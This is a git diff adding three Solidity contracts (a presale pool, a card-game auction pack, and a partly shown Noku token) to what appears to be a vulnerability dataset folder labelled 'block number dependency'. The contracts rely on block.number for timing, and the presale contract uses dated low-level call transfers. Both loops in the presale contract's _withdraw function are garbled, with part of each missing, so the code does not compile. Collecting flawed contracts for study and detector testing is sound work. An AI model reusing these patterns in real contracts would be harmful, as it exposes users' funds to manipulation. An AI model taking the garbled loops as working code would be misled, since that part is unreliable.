0000000000000000000000000000000000000000..f3f347b09bf86d95ced39000174918cca5c66dc4 --- /dev/null +++ b/smart_contract_dataset/block number dependency/3132.sol @@ -0,0 +1,382 @@ +pragma solidity ^0.4.19; + + + + +library SafeMath { + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + if (a == 0) { + return 0; + } + uint256 c = a * b; + assert(c / a == b); + return c; + } + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + function add(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a + b; + assert(c >= a); + return c; + } +} + + +interface ERC20 { + function balanceOf(address _owner) external returns (uint256 balance); + function transfer(address _to, uint256 _value) external returns (bool success); +} + +interface WhiteList { + function isPaidUntil (address addr) external view returns (uint); +} + + +contract PresalePool { + + + + using SafeMath for uint; + + + + + + uint8 public contractStage = 1; + + + + address public owner; + uint maxContractBalance; + + uint contributionCap; + + uint public feePct; + + address public receiverAddress; + + + + uint constant public contributionMin = 100000000000000000; + + uint constant public maxGasPrice = 50000000000; + + WhiteList constant public whitelistContract = WhiteList(0xf6E386FA4794B58350e7B4Cb32B6f86Fb0F357d4); + bool whitelistIsActive = true; + + + + uint public nextCapTime; + + uint public nextContributionCap; + + uint public addressChangeBlock; + + uint public finalBalance; + + uint[] public ethRefundAmount; + + address public activeToken; + + + struct Contributor { + uint ethRefund; + uint balance; + uint cap; + mapping (address => uint) tokensClaimed; + } + + mapping (address => Contributor) whitelist; + + + struct TokenAllocation { + ERC20 token; + uint[] pct; + uint balanceRemaining; + } + + mapping (address => TokenAllocation) distributionMap; + + + + modifier onlyOwner () { + require (msg.sender == owner); + _; + } + + + bool locked; + modifier noReentrancy() { + require(!locked); + locked = true; + _; + locked = false; + } + + + + event ContributorBalanceChanged (address contributor, uint totalBalance); + event ReceiverAddressSet ( address _addr); + event PoolSubmitted (address receiver, uint amount); + event WithdrawalsOpen (address tokenAddr); + event TokensWithdrawn (address receiver, address token, uint amount); + event EthRefundReceived (address sender, uint amount); + event EthRefunded (address receiver, uint amount); + event ERC223Received (address token, uint value); + + + + function _toPct (uint numerator, uint denominator ) internal pure returns (uint) { + return numerator.mul(10 ** 20) / denominator; + } + + + function _applyPct (uint numerator, uint pct) internal pure returns (uint) { + return numerator.mul(pct) / (10 ** 20); + } + + + + function PresalePool (address receiverAddr, uint contractCap, uint cap, uint fee) public { + require (fee < 100); + require (contractCap >= cap); + owner = msg.sender; + receiverAddress = receiverAddr; + maxContractBalance = contractCap; + contributionCap = cap; + feePct = _toPct(fee,100); + } + + + + + function () payable public { + if (contractStage == 1) { + _ethDeposit(); + } else _ethRefund(); + } + + + function _ethDeposit () internal { + assert (contractStage == 1); + require (!whitelistIsActive || whitelistContract.isPaidUntil(msg.sender) > now); + require (tx.gasprice <= maxGasPrice); + require (this.balance <= maxContractBalance); + var c = whitelist[msg.sender]; + uint newBalance = c.balance.add(msg.value); + require (newBalance >= contributionMin); + if (nextCapTime > 0 && nextCapTime < now) { + contributionCap = nextContributionCap; + nextCapTime = 0; + } + if (c.cap > 0) require (newBalance <= c.cap); + else require (newBalance <= contributionCap); + c.balance = newBalance; + ContributorBalanceChanged(msg.sender, newBalance); + } + + + function _ethRefund () internal { + assert (contractStage == 2); + require (msg.sender == owner || msg.sender == receiverAddress); + require (msg.value >= contributionMin); + ethRefundAmount.push(msg.value); + EthRefundReceived(msg.sender, msg.value); + } + + + + + + + function withdraw (address tokenAddr) public { + var c = whitelist[msg.sender]; + require (c.balance > 0); + if (contractStage == 1) { + uint amountToTransfer = c.balance; + c.balance = 0; + msg.sender.transfer(amountToTransfer); + ContributorBalanceChanged(msg.sender, 0); + } else { + _withdraw(msg.sender,tokenAddr); + } + } + + + function withdrawFor (address contributor, address tokenAddr) public onlyOwner { + require (contractStage == 2); + require (whitelist[contributor].balance > 0); + _withdraw(contributor,tokenAddr); + } + + + + function _withdraw (address receiver, address tokenAddr) internal { + assert (contractStage == 2); + var c = whitelist[receiver]; + if (tokenAddr == 0x00) { + tokenAddr = activeToken; + } + var d = distributionMap[tokenAddr]; + require ( (ethRefundAmount.length > c.ethRefund) || d.pct.length > c.tokensClaimed[tokenAddr] ); + if (ethRefundAmount.length > c.ethRefund) { + uint pct = _toPct(c.balance,finalBalance); + uint ethAmount = 0; + for (uint i=c.ethRefund; i 0) { + receiver.transfer(ethAmount); + EthRefunded(receiver,ethAmount); + } + } + if (d.pct.length > c.tokensClaimed[tokenAddr]) { + uint tokenAmount = 0; + for (i=c.tokensClaimed[tokenAddr]; i 0) { + require(d.token.transfer(receiver,tokenAmount)); + d.balanceRemaining = d.balanceRemaining.sub(tokenAmount); + TokensWithdrawn(receiver,tokenAddr,tokenAmount); + } + } + + } + + + + + function modifyIndividualCap (address addr, uint cap) public onlyOwner { + require (contractStage == 1); + require (cap <= maxContractBalance); + var c = whitelist[addr]; + require (cap >= c.balance); + c.cap = cap; + } + + + function modifyCap (uint cap) public onlyOwner { + require (contractStage == 1); + require (contributionCap <= cap && maxContractBalance >= cap); + contributionCap = cap; + nextCapTime = 0; + } + + + function modifyNextCap (uint time, uint cap) public onlyOwner { + require (contractStage == 1); + require (contributionCap <= cap && maxContractBalance >= cap); + require (time > now); + nextCapTime = time; + nextContributionCap = cap; + } + + + function modifyMaxContractBalance (uint amount) public onlyOwner { + require (contractStage == 1); + require (amount >= contributionMin); + require (amount >= this.balance); + maxContractBalance = amount; + if (amount < contributionCap) contributionCap = amount; + } + + function toggleWhitelist (bool active) public onlyOwner { + whitelistIsActive = active; + } + + + function checkPoolBalance () view public returns (uint poolCap, uint balance, uint remaining) { + if (contractStage == 1) { + remaining = maxContractBalance.sub(this.balance); + } else { + remaining = 0; + } + return (maxContractBalance,this.balance,remaining); + } + + + function checkContributorBalance (address addr) view public returns (uint balance, uint cap, uint remaining) { + var c = whitelist[addr]; + if (contractStage == 2) return (c.balance,0,0); + if (whitelistIsActive && whitelistContract.isPaidUntil(addr) < now) return (c.balance,0,0); + if (c.cap > 0) cap = c.cap; + else cap = contributionCap; + if (cap.sub(c.balance) > maxContractBalance.sub(this.balance)) return (c.balance, cap, maxContractBalance.sub(this.balance)); + return (c.balance, cap, cap.sub(c.balance)); + } + + + function checkAvailableTokens (address addr, address tokenAddr) view public returns (uint tokenAmount) { + var c = whitelist[addr]; + var d = distributionMap[tokenAddr]; + for (uint i = c.tokensClaimed[tokenAddr]; i < d.pct.length; i++) { + tokenAmount = tokenAmount.add(_applyPct(c.balance, d.pct[i])); + } + return tokenAmount; + } + + + + + + + function setReceiverAddress (address addr) public onlyOwner { + require (contractStage == 1); + receiverAddress = addr; + addressChangeBlock = block.number; + ReceiverAddressSet(addr); + } + + + + + + function submitPool (uint amountInWei) public onlyOwner noReentrancy { + require (contractStage == 1); + require (receiverAddress != 0x00); + require (block.number >= addressChangeBlock.add(6000)); + if (amountInWei == 0) amountInWei = this.balance; + require (contributionMin <= amountInWei && amountInWei <= this.balance); + finalBalance = this.balance; + require (receiverAddress.call.value(amountInWei).gas(msg.gas.sub(5000))()); + if (this.balance > 0) ethRefundAmount.push(this.balance); + contractStage = 2; + PoolSubmitted(receiverAddress, amountInWei); + } + + + + + + function enableTokenWithdrawals (address tokenAddr, bool notDefault) public onlyOwner noReentrancy { + require (contractStage == 2); + if (notDefault) { + require (activeToken != 0x00); + } else { + activeToken = tokenAddr; + } + var d = distributionMap[tokenAddr]; + if (d.pct.length==0) d.token = ERC20(tokenAddr); + uint amount = d.token.balanceOf(this).sub(d.balanceRemaining); + require (amount > 0); + if (feePct > 0) { + require (d.token.transfer(owner,_applyPct(amount,feePct))); + } + amount = d.token.balanceOf(this).sub(d.balanceRemaining); + d.balanceRemaining = d.token.balanceOf(this); + d.pct.push(_toPct(amount,finalBalance)); + } + + + function tokenFallback (address from, uint value, bytes data) public { + ERC223Received (from, value); + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/3201.sol b/smart_contract_dataset/block number dependency/3201.sol new file mode 100644 index 0000000000000000000000000000000000000000..612f4ec6da4709a17ec078683b25e66a3c61674a --- /dev/null +++ b/smart_contract_dataset/block number dependency/3201.sol @@ -0,0 +1,792 @@ +pragma solidity 0.4.24; + + +contract Governable { + + event Pause(); + event Unpause(); + + address public governor; + bool public paused = false; + + constructor() public { + governor = msg.sender; + } + + function setGovernor(address _gov) public onlyGovernor { + governor = _gov; + } + + modifier onlyGovernor { + require(msg.sender == governor); + _; + } + + /** + * @dev Modifier to make a function callable only when the contract is not paused. + */ + modifier whenNotPaused() { + require(!paused); + _; + } + + /** + * @dev Modifier to make a function callable only when the contract is paused. + */ + modifier whenPaused() { + require(paused); + _; + } + + /** + * @dev called by the owner to pause, triggers stopped state + */ + function pause() onlyGovernor whenNotPaused public { + paused = true; + emit Pause(); + } + + /** + * @dev called by the owner to unpause, returns to normal state + */ + function unpause() onlyGovernor whenPaused public { + paused = false; + emit Unpause(); + } + +} + +contract CardBase is Governable { + + + struct Card { + uint16 proto; + uint16 purity; + } + + function getCard(uint id) public view returns (uint16 proto, uint16 purity) { + Card memory card = cards[id]; + return (card.proto, card.purity); + } + + function getShine(uint16 purity) public pure returns (uint8) { + return uint8(purity / 1000); + } + + Card[] public cards; + +} + +contract CardProto is CardBase { + + event NewProtoCard( + uint16 id, uint8 season, uint8 god, + Rarity rarity, uint8 mana, uint8 attack, + uint8 health, uint8 cardType, uint8 tribe, bool packable + ); + + struct Limit { + uint64 limit; + bool exists; + } + + // limits for mythic cards + mapping(uint16 => Limit) public limits; + + // can only set limits once + function setLimit(uint16 id, uint64 limit) public onlyGovernor { + Limit memory l = limits[id]; + require(!l.exists); + limits[id] = Limit({ + limit: limit, + exists: true + }); + } + + function getLimit(uint16 id) public view returns (uint64 limit, bool set) { + Limit memory l = limits[id]; + return (l.limit, l.exists); + } + + // could make these arrays to save gas + // not really necessary - will be update a very limited no of times + mapping(uint8 => bool) public seasonTradable; + mapping(uint8 => bool) public seasonTradabilityLocked; + uint8 public currentSeason; + + function makeTradable(uint8 season) public onlyGovernor { + seasonTradable[season] = true; + } + + function makeUntradable(uint8 season) public onlyGovernor { + require(!seasonTradabilityLocked[season]); + seasonTradable[season] = false; + } + + function makePermanantlyTradable(uint8 season) public onlyGovernor { + require(seasonTradable[season]); + seasonTradabilityLocked[season] = true; + } + + function isTradable(uint16 proto) public view returns (bool) { + return seasonTradable[protos[proto].season]; + } + + function nextSeason() public onlyGovernor { + //Seasons shouldn't go to 0 if there is more than the uint8 should hold, the governor should know this ¯\_(ツ)_/¯ -M + require(currentSeason <= 255); + + currentSeason++; + mythic.length = 0; + legendary.length = 0; + epic.length = 0; + rare.length = 0; + common.length = 0; + } + + enum Rarity { + Common, + Rare, + Epic, + Legendary, + Mythic + } + + uint8 constant SPELL = 1; + uint8 constant MINION = 2; + uint8 constant WEAPON = 3; + uint8 constant HERO = 4; + + struct ProtoCard { + bool exists; + uint8 god; + uint8 season; + uint8 cardType; + Rarity rarity; + uint8 mana; + uint8 attack; + uint8 health; + uint8 tribe; + } + + // there is a particular design decision driving this: + // need to be able to iterate over mythics only for card generation + // don't store 5 different arrays: have to use 2 ids + // better to bear this cost (2 bytes per proto card) + // rather than 1 byte per instance + + uint16 public protoCount; + + mapping(uint16 => ProtoCard) protos; + + uint16[] public mythic; + uint16[] public legendary; + uint16[] public epic; + uint16[] public rare; + uint16[] public common; + + function addProtos( + uint16[] externalIDs, uint8[] gods, Rarity[] rarities, uint8[] manas, uint8[] attacks, + uint8[] healths, uint8[] cardTypes, uint8[] tribes, bool[] packable + ) public onlyGovernor returns(uint16) { + + for (uint i = 0; i < externalIDs.length; i++) { + + ProtoCard memory card = ProtoCard({ + exists: true, + god: gods[i], + season: currentSeason, + cardType: cardTypes[i], + rarity: rarities[i], + mana: manas[i], + attack: attacks[i], + health: healths[i], + tribe: tribes[i] + }); + + _addProto(externalIDs[i], card, packable[i]); + } + + } + + function addProto( + uint16 externalID, uint8 god, Rarity rarity, uint8 mana, uint8 attack, uint8 health, uint8 cardType, uint8 tribe, bool packable + ) public onlyGovernor returns(uint16) { + ProtoCard memory card = ProtoCard({ + exists: true, + god: god, + season: currentSeason, + cardType: cardType, + rarity: rarity, + mana: mana, + attack: attack, + health: health, + tribe: tribe + }); + + _addProto(externalID, card, packable); + } + + function addWeapon( + uint16 externalID, uint8 god, Rarity rarity, uint8 mana, uint8 attack, uint8 durability, bool packable + ) public onlyGovernor returns(uint16) { + + ProtoCard memory card = ProtoCard({ + exists: true, + god: god, + season: currentSeason, + cardType: WEAPON, + rarity: rarity, + mana: mana, + attack: attack, + health: durability, + tribe: 0 + }); + + _addProto(externalID, card, packable); + } + + function addSpell(uint16 externalID, uint8 god, Rarity rarity, uint8 mana, bool packable) public onlyGovernor returns(uint16) { + + ProtoCard memory card = ProtoCard({ + exists: true, + god: god, + season: currentSeason, + cardType: SPELL, + rarity: rarity, + mana: mana, + attack: 0, + health: 0, + tribe: 0 + }); + + _addProto(externalID, card, packable); + } + + function addMinion( + uint16 externalID, uint8 god, Rarity rarity, uint8 mana, uint8 attack, uint8 health, uint8 tribe, bool packable + ) public onlyGovernor returns(uint16) { + + ProtoCard memory card = ProtoCard({ + exists: true, + god: god, + season: currentSeason, + cardType: MINION, + rarity: rarity, + mana: mana, + attack: attack, + health: health, + tribe: tribe + }); + + _addProto(externalID, card, packable); + } + + function _addProto(uint16 externalID, ProtoCard memory card, bool packable) internal { + + require(!protos[externalID].exists); + + card.exists = true; + + protos[externalID] = card; + + protoCount++; + + emit NewProtoCard( + externalID, currentSeason, card.god, + card.rarity, card.mana, card.attack, + card.health, card.cardType, card.tribe, packable + ); + + if (packable) { + Rarity rarity = card.rarity; + if (rarity == Rarity.Common) { + common.push(externalID); + } else if (rarity == Rarity.Rare) { + rare.push(externalID); + } else if (rarity == Rarity.Epic) { + epic.push(externalID); + } else if (rarity == Rarity.Legendary) { + legendary.push(externalID); + } else if (rarity == Rarity.Mythic) { + mythic.push(externalID); + } else { + require(false); + } + } + } + + function getProto(uint16 id) public view returns( + bool exists, uint8 god, uint8 season, uint8 cardType, Rarity rarity, uint8 mana, uint8 attack, uint8 health, uint8 tribe + ) { + ProtoCard memory proto = protos[id]; + return ( + proto.exists, + proto.god, + proto.season, + proto.cardType, + proto.rarity, + proto.mana, + proto.attack, + proto.health, + proto.tribe + ); + } + + function getRandomCard(Rarity rarity, uint16 random) public view returns (uint16) { + // modulo bias is fine - creates rarity tiers etc + // will obviously revert is there are no cards of that type: this is expected - should never happen + if (rarity == Rarity.Common) { + return common[random % common.length]; + } else if (rarity == Rarity.Rare) { + return rare[random % rare.length]; + } else if (rarity == Rarity.Epic) { + return epic[random % epic.length]; + } else if (rarity == Rarity.Legendary) { + return legendary[random % legendary.length]; + } else if (rarity == Rarity.Mythic) { + // make sure a mythic is available + uint16 id; + uint64 limit; + bool set; + for (uint i = 0; i < mythic.length; i++) { + id = mythic[(random + i) % mythic.length]; + (limit, set) = getLimit(id); + if (set && limit > 0){ + return id; + } + } + // if not, they get a legendary :( + return legendary[random % legendary.length]; + } + require(false); + return 0; + } + + // can never adjust tradable cards + // each season gets a 'balancing beta' + // totally immutable: season, rarity + function replaceProto( + uint16 index, uint8 god, uint8 cardType, uint8 mana, uint8 attack, uint8 health, uint8 tribe + ) public onlyGovernor { + ProtoCard memory pc = protos[index]; + require(!seasonTradable[pc.season]); + protos[index] = ProtoCard({ + exists: true, + god: god, + season: pc.season, + cardType: cardType, + rarity: pc.rarity, + mana: mana, + attack: attack, + health: health, + tribe: tribe + }); + } + +} + +contract MigrationInterface { + + function createCard(address user, uint16 proto, uint16 purity) public returns (uint); + + function getRandomCard(CardProto.Rarity rarity, uint16 random) public view returns (uint16); + + function migrate(uint id) public; + +} + +contract CardPackFour { + + MigrationInterface public migration; + uint public creationBlock; + + constructor(MigrationInterface _core) public payable { + migration = _core; + creationBlock = 5939061 + 2000; // set to creation block of first contracts + 8 hours for down time + } + + event Referral(address indexed referrer, uint value, address purchaser); + + /** + * purchase 'count' of this type of pack + */ + function purchase(uint16 packCount, address referrer) public payable; + + // store purity and shine as one number to save users gas + function _getPurity(uint16 randOne, uint16 randTwo) internal pure returns (uint16) { + if (randOne >= 998) { + return 3000 + randTwo; + } else if (randOne >= 988) { + return 2000 + randTwo; + } else if (randOne >= 938) { + return 1000 + randTwo; + } else { + return randTwo; + } + } + +} + +contract Ownable { + + address public owner; + + constructor() public { + owner = msg.sender; + } + + function setOwner(address _owner) public onlyOwner { + owner = _owner; + } + + modifier onlyOwner { + require(msg.sender == owner); + _; + } + +} + +contract Pausable is Ownable { + + event Pause(); + event Unpause(); + + bool public paused = false; + + + /** + * @dev Modifier to make a function callable only when the contract is not paused. + */ + modifier whenNotPaused() { + require(!paused); + _; + } + + /** + * @dev Modifier to make a function callable only when the contract is paused. + */ + modifier whenPaused() { + require(paused); + _; + } + + /** + * @dev called by the owner to pause, triggers stopped state + */ + function pause() onlyOwner whenNotPaused public { + paused = true; + emit Pause(); + } + + /** + * @dev called by the owner to unpause, returns to normal state + */ + function unpause() onlyOwner whenPaused public { + paused = false; + emit Unpause(); + } +} + +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +library SafeMath64 { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint64 a, uint64 b) internal pure returns (uint64 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint64 a, uint64 b) internal pure returns (uint64) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint64 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint64 a, uint64 b) internal pure returns (uint64) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint64 a, uint64 b) internal pure returns (uint64 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +contract AuctionPack is CardPackFour, Pausable { + + using SafeMath for uint; + // probably a better way to do this/don't need to do it at all + using SafeMath64 for uint64; + + mapping(address => uint) owed; + + event Created(uint indexed id, uint16 proto, uint16 purity, uint minBid, uint length); + event Opened(uint indexed id, uint64 start); + event Extended(uint indexed id, uint64 length); + event Bid(uint indexed id, address indexed bidder, uint value); + event Claimed(uint indexed id, uint indexed cardID, address indexed bidder, uint value, uint16 proto, uint16 purity); + event Bonus(uint indexed id, uint indexed cardID, address indexed bidder, uint16 proto, uint16 purity); + + enum Status { + Closed, + Open, + Claimed + } + + struct Auction { + Status status; + uint16 proto; + uint16 purity; + uint highestBid; + address highestBidder; + uint64 start; + uint64 length; + address beneficiary; + uint16 bonusProto; + uint16 bonusPurity; + uint64 bufferPeriod; + uint minIncreasePercent; + } + + Auction[] auctions; + + constructor(MigrationInterface _migration) public CardPackFour(_migration) { + + } + + function getAuction(uint id) public view returns ( + Status status, + uint16 proto, + uint16 purity, + uint highestBid, + address highestBidder, + uint64 start, + uint64 length, + uint16 bonusProto, + uint16 bonusPurity, + uint64 bufferPeriod, + uint minIncreasePercent, + address beneficiary + ) { + require(auctions.length > id); + Auction memory a = auctions[id]; + return ( + a.status, a.proto, a.purity, a.highestBid, + a.highestBidder, a.start, a.length, a.bonusProto, + a.bonusPurity, a.bufferPeriod, a.minIncreasePercent, a.beneficiary + ); + } + + function createAuction( + address beneficiary, uint16 proto, uint16 purity, + uint minBid, uint64 length, uint16 bonusProto, uint16 bonusPurity, + uint64 bufferPeriod, uint minIncrease + ) public onlyOwner whenNotPaused returns (uint) { + + require(beneficiary != address(0)); + require(minBid >= 100 wei); + + Auction memory auction = Auction({ + status: Status.Closed, + proto: proto, + purity: purity, + highestBid: minBid, + highestBidder: address(0), + start: 0, + length: length, + beneficiary: beneficiary, + bonusProto: bonusProto, + bonusPurity: bonusPurity, + bufferPeriod: bufferPeriod, + minIncreasePercent: minIncrease + }); + + uint id = auctions.push(auction) - 1; + + emit Created(id, proto, purity, minBid, length); + + return id; + } + + function openAuction(uint id) public onlyOwner { + Auction storage auction = auctions[id]; + require(auction.status == Status.Closed); + auction.status = Status.Open; + auction.start = uint64(block.number); + emit Opened(id, auction.start); + } + + // dummy implementation to support interface + function purchase(uint16, address) public payable { + + } + + function getMinBid(uint id) public view returns (uint) { + + Auction memory auction = auctions[id]; + + uint highest = auction.highestBid; + + // calculate one percent of the number + // highest will always be >= 100 + uint numerator = highest.div(100); + + // calculate the minimum increase required + uint minIncrease = numerator.mul(auction.minIncreasePercent); + + uint threshold = highest + minIncrease; + + return threshold; + } + + function bid(uint id) public payable { + + Auction storage auction = auctions[id]; + + require(auction.status == Status.Open); + + uint64 end = auction.start.add(auction.length); + + require(end >= block.number); + + uint threshold = getMinBid(id); + + require(msg.value >= threshold); + + + // if within the buffer period of the auction + // extend to the buffer period of blocks + + uint64 differenceToEnd = end.sub(uint64(block.number)); + + if (auction.bufferPeriod > differenceToEnd) { + + // extend the auction period to be at least the buffer period + uint64 toAdd = auction.bufferPeriod.sub(differenceToEnd); + + auction.length = auction.length.add(toAdd); + + emit Extended(id, auction.length); + } + + emit Bid(id, msg.sender, msg.value); + + if (auction.highestBidder != address(0)) { + + // let's just go with the safe option rather than using send(): probably fine but no loss + owed[auction.highestBidder] = owed[auction.highestBidder].add(auction.highestBid); + + // give the previous bidder their bonus/consolation card + if (auction.bonusProto != 0) { + uint cardID = migration.createCard(auction.highestBidder, auction.bonusProto, auction.bonusPurity); + emit Bonus(id, cardID, auction.highestBidder, auction.bonusProto, auction.bonusPurity); + } + } + + auction.highestBid = msg.value; + auction.highestBidder = msg.sender; + } + + // anyone can claim the card/pay gas for them + function claim(uint id) public returns (uint) { + + Auction storage auction = auctions[id]; + + uint64 end = auction.start.add(auction.length); + + require(block.number > end); + + require(auction.status == Status.Open); + + auction.status = Status.Claimed; + + uint cardID = migration.createCard(auction.highestBidder, auction.proto, auction.purity); + + emit Claimed(id, cardID, auction.highestBidder, auction.highestBid, auction.proto, auction.purity); + + // don't require this to be a trusted address + owed[auction.beneficiary] = owed[auction.beneficiary].add(auction.highestBid); + + return cardID; + } + + function withdraw(address user) public { + uint balance = owed[user]; + require(balance > 0); + owed[user] = 0; + user.transfer(balance); + } + + function getOwed(address user) public view returns (uint) { + return owed[user]; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/3240.sol b/smart_contract_dataset/block number dependency/3240.sol new file mode 100644 index 0000000000000000000000000000000000000000..c8a309496fd07f57d3f07e11c822604daf31d5cd --- /dev/null +++ b/smart_contract_dataset/block number dependency/3240.sol @@ -0,0 +1,1023 @@ +pragma solidity ^0.4.23; + + + + +contract NokuPricingPlan { + + function payFee(bytes32 serviceName, uint256 multiplier, address client) public returns(bool paid); + + + function usageFee(bytes32 serviceName, uint256 multiplier) public view returns(uint fee); +} + + + + +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + + + +contract NokuCustomToken is Ownable { + + event LogBurnFinished(); + event LogPricingPlanChanged(address indexed caller, address indexed pricingPlan); + + + NokuPricingPlan public pricingPlan; + + + address public serviceProvider; + + + bool public burningFinished; + + + modifier onlyServiceProvider() { + require(msg.sender == serviceProvider, "caller is not service provider"); + _; + } + + modifier canBurn() { + require(!burningFinished, "burning finished"); + _; + } + + constructor(address _pricingPlan, address _serviceProvider) internal { + require(_pricingPlan != 0, "_pricingPlan is zero"); + require(_serviceProvider != 0, "_serviceProvider is zero"); + + pricingPlan = NokuPricingPlan(_pricingPlan); + serviceProvider = _serviceProvider; + } + + + function isCustomToken() public pure returns(bool isCustom) { + return true; + } + + + function finishBurning() public onlyOwner canBurn returns(bool finished) { + burningFinished = true; + + emit LogBurnFinished(); + + return true; + } + + + function setPricingPlan(address _pricingPlan) public onlyServiceProvider { + require(_pricingPlan != 0, "_pricingPlan is 0"); + require(_pricingPlan != address(pricingPlan), "_pricingPlan == pricingPlan"); + + pricingPlan = NokuPricingPlan(_pricingPlan); + + emit LogPricingPlanChanged(msg.sender, _pricingPlan); + } +} + + + + +contract Pausable is Ownable { + event Pause(); + event Unpause(); + + bool public paused = false; + + + + modifier whenNotPaused() { + require(!paused); + _; + } + + + modifier whenPaused() { + require(paused); + _; + } + + + function pause() onlyOwner whenNotPaused public { + paused = true; + emit Pause(); + } + + + function unpause() onlyOwner whenPaused public { + paused = false; + emit Unpause(); + } +} + + + + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + + + + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + + + + +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + + + +contract BurnableERC20 is ERC20 { + function burn(uint256 amount) public returns (bool burned); +} + + +contract NokuTokenBurner is Pausable { + using SafeMath for uint256; + + event LogNokuTokenBurnerCreated(address indexed caller, address indexed wallet); + event LogBurningPercentageChanged(address indexed caller, uint256 indexed burningPercentage); + + + address public wallet; + + + uint256 public burningPercentage; + + + uint256 public burnedTokens; + + + uint256 public transferredTokens; + + + constructor(address _wallet) public { + require(_wallet != address(0), "_wallet is zero"); + + wallet = _wallet; + burningPercentage = 100; + + emit LogNokuTokenBurnerCreated(msg.sender, _wallet); + } + + + function setBurningPercentage(uint256 _burningPercentage) public onlyOwner { + require(0 <= _burningPercentage && _burningPercentage <= 100, "_burningPercentage not in [0, 100]"); + require(_burningPercentage != burningPercentage, "_burningPercentage equal to current one"); + + burningPercentage = _burningPercentage; + + emit LogBurningPercentageChanged(msg.sender, _burningPercentage); + } + + + function tokenReceived(address _token, uint256 _amount) public whenNotPaused { + require(_token != address(0), "_token is zero"); + require(_amount > 0, "_amount is zero"); + + uint256 amountToBurn = _amount.mul(burningPercentage).div(100); + if (amountToBurn > 0) { + assert(BurnableERC20(_token).burn(amountToBurn)); + + burnedTokens = burnedTokens.add(amountToBurn); + } + + uint256 amountToTransfer = _amount.sub(amountToBurn); + if (amountToTransfer > 0) { + assert(BurnableERC20(_token).transfer(wallet, amountToTransfer)); + + transferredTokens = transferredTokens.add(amountToTransfer); + } + } +} + + + + +contract BasicToken is ERC20Basic { + using SafeMath for uint256; + + mapping(address => uint256) balances; + + uint256 totalSupply_; + + + function totalSupply() public view returns (uint256) { + return totalSupply_; + } + + + function transfer(address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[msg.sender]); + + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + emit Transfer(msg.sender, _to, _value); + return true; + } + + + function balanceOf(address _owner) public view returns (uint256) { + return balances[_owner]; + } + +} + + + + +contract BurnableToken is BasicToken { + + event Burn(address indexed burner, uint256 value); + + + function burn(uint256 _value) public { + _burn(msg.sender, _value); + } + + function _burn(address _who, uint256 _value) internal { + require(_value <= balances[_who]); + + + + balances[_who] = balances[_who].sub(_value); + totalSupply_ = totalSupply_.sub(_value); + emit Burn(_who, _value); + emit Transfer(_who, address(0), _value); + } +} + + + + +contract DetailedERC20 is ERC20 { + string public name; + string public symbol; + uint8 public decimals; + + constructor(string _name, string _symbol, uint8 _decimals) public { + name = _name; + symbol = _symbol; + decimals = _decimals; + } +} + + + + +contract StandardToken is ERC20, BasicToken { + + mapping (address => mapping (address => uint256)) internal allowed; + + + + function transferFrom( + address _from, + address _to, + uint256 _value + ) + public + returns (bool) + { + require(_to != address(0)); + require(_value <= 